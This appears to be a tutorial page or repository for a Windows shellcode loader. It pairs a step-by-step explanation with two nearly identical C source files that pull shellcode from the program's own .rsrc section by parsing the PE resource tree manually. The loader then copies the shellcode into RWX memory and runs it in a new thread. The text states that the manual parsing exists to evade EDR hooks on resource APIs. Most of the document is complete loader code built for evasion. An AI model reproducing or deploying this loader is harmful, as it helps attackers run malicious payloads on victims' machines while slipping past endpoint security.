Shellcode-Placement-ResourceSection-Manual
What is it?
The same shellcode-in-resource technique as before, but instead of using the Windows API (FindResourceW, LoadResource, LockResource) to retrieve the payload, we parse the PE .rsrc section ourselves directly from memory. The high-level resource API functions are commonly hooked by EDRs — walking the resource tree manually lets you retrieve the shellcode without calling any of them.
How it works
Step 1: Get the mapped PE base address
1
2
3
4
GetModuleHandleW(NULL)
→ Returns the base address of the current process image
→ This is where the full PE is mapped in memory — headers, sections, everything
→ From here we can walk the PE structure ourselves without relying on any API
Step 2: Parse the PE headers to find the .rsrc section
1
2
3
4
5
6
7
8
pBase + pDosHdr->e_lfanew
→ DOS header ("MZ") → e_lfanew → NT headers ("PE\0\0")
pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress
→ RVA of the .rsrc section from the PE data directory table
→ IMAGE_DIRECTORY_ENTRY_RESOURCE = index 2
pBase + dwRsrcRva = pResDir (IMAGE_RESOURCE_DIRECTORY root)
Step 3: Walk the 3-level .rsrc tree
The .rsrc section is organized as a tree with three levels. Each level is an IMAGE_RESOURCE_DIRECTORY followed immediately by an array of IMAGE_RESOURCE_DIRECTORY_ENTRY structs — that’s why we do pResDir + 1 to get to the entries.
1
2
3
4
5
6
7
8
typedef struct _IMAGE_RESOURCE_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
WORD NumberOfNamedEntries; // entries with string names (come first)
WORD NumberOfIdEntries; // entries with numeric IDs (come after)
} IMAGE_RESOURCE_DIRECTORY;
1
2
3
4
5
6
7
Level 1 — Type directory (what kind of resource)
pTypeEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResDir + 1)
→ Each entry has NameIsString = 1 (custom string type) or 0 (numeric type e.g. RT_ICON)
→ We embedded as type "N0xshell" so we look for a named entry
→ NameOffset → PIMAGE_RESOURCE_DIR_STRING_U → compare string case-insensitively
→ On match: OffsetToDirectory → Level 2 directory
1
2
3
4
5
6
Level 2 — Name / ID directory (which specific resource)
pNameEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pNameDir + 1)
→ Our resource uses numeric ID (IDR_N0XSHELL1 = 101) so we match on Id field
→ Skip any named entries
→ On match: OffsetToDirectory → Level 3 directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Level 3 — Language directory (which language variant)
pLangEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pLangDir + 1)
→ We only embedded one language so we just take the first entry
→ OffsetToData → IMAGE_RESOURCE_DATA_ENTRY
typedef struct _IMAGE_RESOURCE_DATA_ENTRY {
DWORD OffsetToData; // RVA from image base to the actual resource bytes
DWORD Size; // size of the resource in bytes
DWORD CodePage;
DWORD Reserved;
} IMAGE_RESOURCE_DATA_ENTRY;
pBase + pDataEntry->OffsetToData → raw shellcode bytes in .rsrc (PAGE_READONLY)
pDataEntry->Size → shellcode size
Step 4: Copy and execute
1
2
3
4
5
6
7
8
9
10
11
VirtualAlloc(PAGE_EXECUTE_READWRITE)
→ .rsrc is mapped PAGE_READONLY — cannot execute from there directly
→ Must copy into a separate RWX allocation
memcpy(pAddr, pShellcodeAddr, sShellcodeSize)
→ Shellcode bytes → RWX buffer
CreateThread(pAddr) + WaitForSingleObject
→ New thread starts at shellcode entry point
→ Shellcode uses EXITFUNC=thread so ExitThread is called at the end,
not ExitProcess — main thread stays alive to reach WaitForSingleObject
Shellcode-Placement-ResourceSection-(PEB Walking Method).c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#include <Windows.h>
#include <stdio.h>
#include "resource.h"
/*
Manually PE Resource Parser
Instead of relying on WinAPIs (FindResourceW, LoadResource) to fetch the shellcode,
we parse the PE .rsrc directory ourselves from memory — avoiding commonly monitored API calls.
The .rsrc section is organized as a 3-level tree:
Level 1: Type → what kind of resource (e.g. "N0xshell")
Level 2: Name/ID → which specific resource (e.g. IDR_N0XSHELL1 = 101)
Level 3: Language → language variant, we just take the first entry
└─ DATA_ENTRY → RVA + size of the actual resource bytes
*/
/*
dwResourceId -> Numeric resource ID (e.g. IDR_N0XSHELL1 = 101)
lpResourceType -> Custom resource type string (e.g. L"N0xshell")
pdwOutSize -> Receives the resource size in bytes
*/
PVOID GetResourceData(_In_ DWORD dwResourceId, _In_ LPCWSTR lpResourceType, _Out_ PSIZE_T pdwOutSize) {
PBYTE pBase = NULL;
PIMAGE_DOS_HEADER pDosHdr = NULL;
PIMAGE_NT_HEADERS pNtHdrs = NULL;
DWORD dwRsrcRva = 0;
PIMAGE_RESOURCE_DIRECTORY pResDir = NULL;
PIMAGE_RESOURCE_DIRECTORY_ENTRY pTypeEntry = NULL;
PIMAGE_RESOURCE_DIRECTORY pNameDir = NULL;
PIMAGE_RESOURCE_DIRECTORY_ENTRY pNameEntry = NULL;
PIMAGE_RESOURCE_DIRECTORY pLangDir = NULL;
PIMAGE_RESOURCE_DIRECTORY_ENTRY pLangEntry = NULL;
PIMAGE_RESOURCE_DATA_ENTRY pDataEntry = NULL;
PIMAGE_RESOURCE_DIR_STRING_U pStr = NULL;
BOOL bMatch = FALSE;
DWORD dwNumEntries = 0;
WCHAR wc1 = 0,
wc2 = 0;
// Get base address of the current module — this is where the PE is mapped in memory
pBase = (PBYTE)GetModuleHandleW(NULL);
if (!pBase)
return NULL;
// Validate DOS header ("MZ") then walk to NT headers via e_lfanew
pDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
pNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pDosHdr->e_lfanew);
if (pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
// Fetch the .rsrc section RVA from the PE data directory (index 2 = IMAGE_DIRECTORY_ENTRY_RESOURCE)
dwRsrcRva = pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
if (!dwRsrcRva)
return NULL;
pResDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva);
/*
Level 1 — Type Directory
The IMAGE_RESOURCE_DIRECTORY entries follow directly after the struct itself (+1).
Each entry is either named (NameIsString = 1, e.g. "N0xshell") or ID-based (e.g. RT_ICON).
We use a named type so we skip all ID entries and compare the string.
typedef struct _IMAGE_RESOURCE_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
WORD NumberOfNamedEntries; // entries with string names — comes first
WORD NumberOfIdEntries; // entries with numeric IDs — comes after
} IMAGE_RESOURCE_DIRECTORY;
*/
pTypeEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResDir + 1);
dwNumEntries = pResDir->NumberOfNamedEntries + pResDir->NumberOfIdEntries;
for (DWORD dwI = 0; dwI < dwNumEntries; dwI++) {
if (!pTypeEntry[dwI].NameIsString)
continue; // skip numeric type entries
pStr = (PIMAGE_RESOURCE_DIR_STRING_U)(pBase + dwRsrcRva + pTypeEntry[dwI].NameOffset);
// Case-insensitive compare against our target type string
if (pStr->Length == (WORD)wcslen(lpResourceType) &&
_wcsnicmp(pStr->NameString, lpResourceType, pStr->Length) == 0) {
pNameDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva + pTypeEntry[dwI].OffsetToDirectory);
break;
}
}
if (!pNameDir) {
printf("[!] Resource type \"%ws\" not found in .rsrc \n", lpResourceType);
return NULL;
}
/*
Level 2 — Name / ID Directory
Each entry here identifies a specific resource within the type.
Our resource uses a numeric ID (IDR_N0XSHELL1 = 101) so we match on Id,
skipping any named entries.
*/
pNameEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pNameDir + 1);
dwNumEntries = pNameDir->NumberOfNamedEntries + pNameDir->NumberOfIdEntries;
for (DWORD dwI = 0; dwI < dwNumEntries; dwI++) {
if (pNameEntry[dwI].NameIsString)
continue; // skip named entries
if (pNameEntry[dwI].Id == (WORD)dwResourceId) {
pLangDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva + pNameEntry[dwI].OffsetToDirectory);
break;
}
}
if (!pLangDir) {
printf("[!] Resource ID %d not found \n", dwResourceId);
return NULL;
}
/*
Level 3 — Language Directory
Each entry is a language variant of the resource. We only embedded one,
so we just take the first entry. Its OffsetToData points to
IMAGE_RESOURCE_DATA_ENTRY which holds the data RVA + size.
*/
pLangEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pLangDir + 1);
pDataEntry = (PIMAGE_RESOURCE_DATA_ENTRY)(pBase + dwRsrcRva + pLangEntry->OffsetToData);
if (pdwOutSize)
*pdwOutSize = pDataEntry->Size;
// OffsetToData is an RVA from image base (not from .rsrc base)
return (PVOID)(pBase + pDataEntry->OffsetToData);
}
int main() {
PVOID pShellcodeAddr = NULL;
SIZE_T sShellcodeSize = 0;
PVOID pAddr = NULL;
HANDLE hThread = NULL;
printf("[*] Parsing .rsrc section manually \n");
// Walk the PE resource
pShellcodeAddr = GetResourceData(IDR_N0XSHELL1, L"N0xshell", &sShellcodeSize);
if (!pShellcodeAddr || !sShellcodeSize) {
printf("[!] GetResourceData Failed \n");
return -1;
}
printf("[+] Shellcode Found At: 0x%p \n", pShellcodeAddr);
printf("[+] Shellcode Size: %d bytes \n", sShellcodeSize);
// .rsrc is PAGE_READONLY — copy shellcode into a separate RWX allocation to execute
pAddr = VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pAddr) {
printf("[!] VirtualAlloc Failed: %d \n", GetLastError());
return -1;
}
memcpy(pAddr, pShellcodeAddr, sShellcodeSize);
printf("[+] Executable Memory: 0x%p \n", pAddr);
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAddr, NULL, 0, NULL);
if (!hThread) {
printf("[!] CreateThread Failed: %d \n", GetLastError());
return -1;
}
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
printf("[#] Press <Enter> To Exit! \n");
getchar();
return 0;
}
Shellcode-Placement-ResourceSection-PEB-Walking.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#include <Windows.h>
#include <stdio.h>
#include "resource.h"
/*
Manually PE Resource Parser
Instead of relying on WinAPIs (FindResourceW, LoadResource) to fetch the shellcode,
we parse the PE .rsrc directory ourselves from memory — avoiding commonly monitored API calls.
The .rsrc section is organized as a 3-level tree:
Level 1: Type → what kind of resource (e.g. "N0xshell")
Level 2: Name/ID → which specific resource (e.g. IDR_N0XSHELL1 = 101)
Level 3: Language → language variant, we just take the first entry
└─ DATA_ENTRY → RVA + size of the actual resource bytes
*/
/*
dwResourceId -> Numeric resource ID (e.g. IDR_N0XSHELL1 = 101)
lpResourceType -> Custom resource type string (e.g. L"N0xshell")
pdwOutSize -> Receives the resource size in bytes
*/
PVOID GetResourceData(_In_ DWORD dwResourceId, _In_ LPCWSTR lpResourceType, _Out_ PSIZE_T pdwOutSize) {
PBYTE pBase = NULL;
PIMAGE_DOS_HEADER pDosHdr = NULL;
PIMAGE_NT_HEADERS pNtHdrs = NULL;
DWORD dwRsrcRva = 0;
PIMAGE_RESOURCE_DIRECTORY pResDir = NULL;
PIMAGE_RESOURCE_DIRECTORY_ENTRY pTypeEntry = NULL;
PIMAGE_RESOURCE_DIRECTORY pNameDir = NULL;
PIMAGE_RESOURCE_DIRECTORY_ENTRY pNameEntry = NULL;
PIMAGE_RESOURCE_DIRECTORY pLangDir = NULL;
PIMAGE_RESOURCE_DIRECTORY_ENTRY pLangEntry = NULL;
PIMAGE_RESOURCE_DATA_ENTRY pDataEntry = NULL;
PIMAGE_RESOURCE_DIR_STRING_U pStr = NULL;
BOOL bMatch = FALSE;
DWORD dwNumEntries = 0;
WCHAR wc1 = 0,
wc2 = 0;
// Get base address of the current module — this is where the PE is mapped in memory
pBase = (PBYTE)GetModuleHandleW(NULL);
if (!pBase)
return NULL;
// Validate DOS header ("MZ") then walk to NT headers via e_lfanew
pDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
pNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pDosHdr->e_lfanew);
if (pNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
// Fetch the .rsrc section RVA from the PE data directory (index 2 = IMAGE_DIRECTORY_ENTRY_RESOURCE)
dwRsrcRva = pNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
if (!dwRsrcRva)
return NULL;
pResDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva);
/*
Level 1 — Type Directory
The IMAGE_RESOURCE_DIRECTORY entries follow directly after the struct itself (+1).
Each entry is either named (NameIsString = 1, e.g. "N0xshell") or ID-based (e.g. RT_ICON).
We use a named type so we skip all ID entries and compare the string.
typedef struct _IMAGE_RESOURCE_DIRECTORY {
DWORD Characteristics;
DWORD TimeDateStamp;
WORD MajorVersion;
WORD MinorVersion;
WORD NumberOfNamedEntries; // entries with string names — comes first
WORD NumberOfIdEntries; // entries with numeric IDs — comes after
} IMAGE_RESOURCE_DIRECTORY;
*/
pTypeEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pResDir + 1);
dwNumEntries = pResDir->NumberOfNamedEntries + pResDir->NumberOfIdEntries;
for (DWORD dwI = 0; dwI < dwNumEntries; dwI++) {
if (!pTypeEntry[dwI].NameIsString)
continue; // skip numeric type entries
pStr = (PIMAGE_RESOURCE_DIR_STRING_U)(pBase + dwRsrcRva + pTypeEntry[dwI].NameOffset);
// Case-insensitive compare against our target type string
if (pStr->Length == (WORD)wcslen(lpResourceType) &&
_wcsnicmp(pStr->NameString, lpResourceType, pStr->Length) == 0) {
pNameDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva + pTypeEntry[dwI].OffsetToDirectory);
break;
}
}
if (!pNameDir) {
printf("[!] Resource type \"%ws\" not found in .rsrc \n", lpResourceType);
return NULL;
}
/*
Level 2 — Name / ID Directory
Each entry here identifies a specific resource within the type.
Our resource uses a numeric ID (IDR_N0XSHELL1 = 101) so we match on Id,
skipping any named entries.
*/
pNameEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pNameDir + 1);
dwNumEntries = pNameDir->NumberOfNamedEntries + pNameDir->NumberOfIdEntries;
for (DWORD dwI = 0; dwI < dwNumEntries; dwI++) {
if (pNameEntry[dwI].NameIsString)
continue; // skip named entries
if (pNameEntry[dwI].Id == (WORD)dwResourceId) {
pLangDir = (PIMAGE_RESOURCE_DIRECTORY)(pBase + dwRsrcRva + pNameEntry[dwI].OffsetToDirectory);
break;
}
}
if (!pLangDir) {
printf("[!] Resource ID %d not found \n", dwResourceId);
return NULL;
}
/*
Level 3 — Language Directory
Each entry is a language variant of the resource. We only embedded one,
so we just take the first entry. Its OffsetToData points to
IMAGE_RESOURCE_DATA_ENTRY which holds the data RVA + size.
*/
pLangEntry = (PIMAGE_RESOURCE_DIRECTORY_ENTRY)(pLangDir + 1);
pDataEntry = (PIMAGE_RESOURCE_DATA_ENTRY)(pBase + dwRsrcRva + pLangEntry->OffsetToData);
if (pdwOutSize)
*pdwOutSize = pDataEntry->Size;
// OffsetToData is an RVA from image base (not from .rsrc base)
return (PVOID)(pBase + pDataEntry->OffsetToData);
}
int main() {
PVOID pShellcodeAddr = NULL;
SIZE_T sShellcodeSize = 0;
PVOID pAddr = NULL;
HANDLE hThread = NULL;
printf("[*] Parsing .rsrc section manually \n");
// Walk the PE resource tree — returns a pointer into .rsrc (read-only)
pShellcodeAddr = GetResourceData(IDR_N0XSHELL1, L"N0xshell", &sShellcodeSize);
if (!pShellcodeAddr || !sShellcodeSize) {
printf("[!] GetResourceData Failed \n");
return -1;
}
printf("[+] Shellcode Found At: 0x%p \n", pShellcodeAddr);
printf("[+] Shellcode Size: %d bytes \n", sShellcodeSize);
// .rsrc is PAGE_READONLY — copy shellcode into a separate RWX allocation to execute
pAddr = VirtualAlloc(NULL, sShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pAddr) {
printf("[!] VirtualAlloc Failed: %d \n", GetLastError());
return -1;
}
memcpy(pAddr, pShellcodeAddr, sShellcodeSize);
printf("[+] Executable Memory: 0x%p \n", pAddr);
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pAddr, NULL, 0, NULL);
if (!hThread) {
printf("[!] CreateThread Failed: %d \n", GetLastError());
return -1;
}
WaitForSingleObject(hThread, INFINITE);
DWORD dwExitCode = 0;
GetExitCodeThread(hThread, &dwExitCode);
printf("[i] Thread exit code: 0x%08X \n", dwExitCode);
CloseHandle(hThread);
printf("[+] Done \n");
printf("[#] Press <Enter> To Exit ... \n");
getchar();
return 0;
}
resource.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//
// Microsoft Visual C++ generated include file.
// Used by Shellcode-Placement-ResourceSection(PEB-Walking).rc
//
#define IDR_N0XSHELL1 101
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 102
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
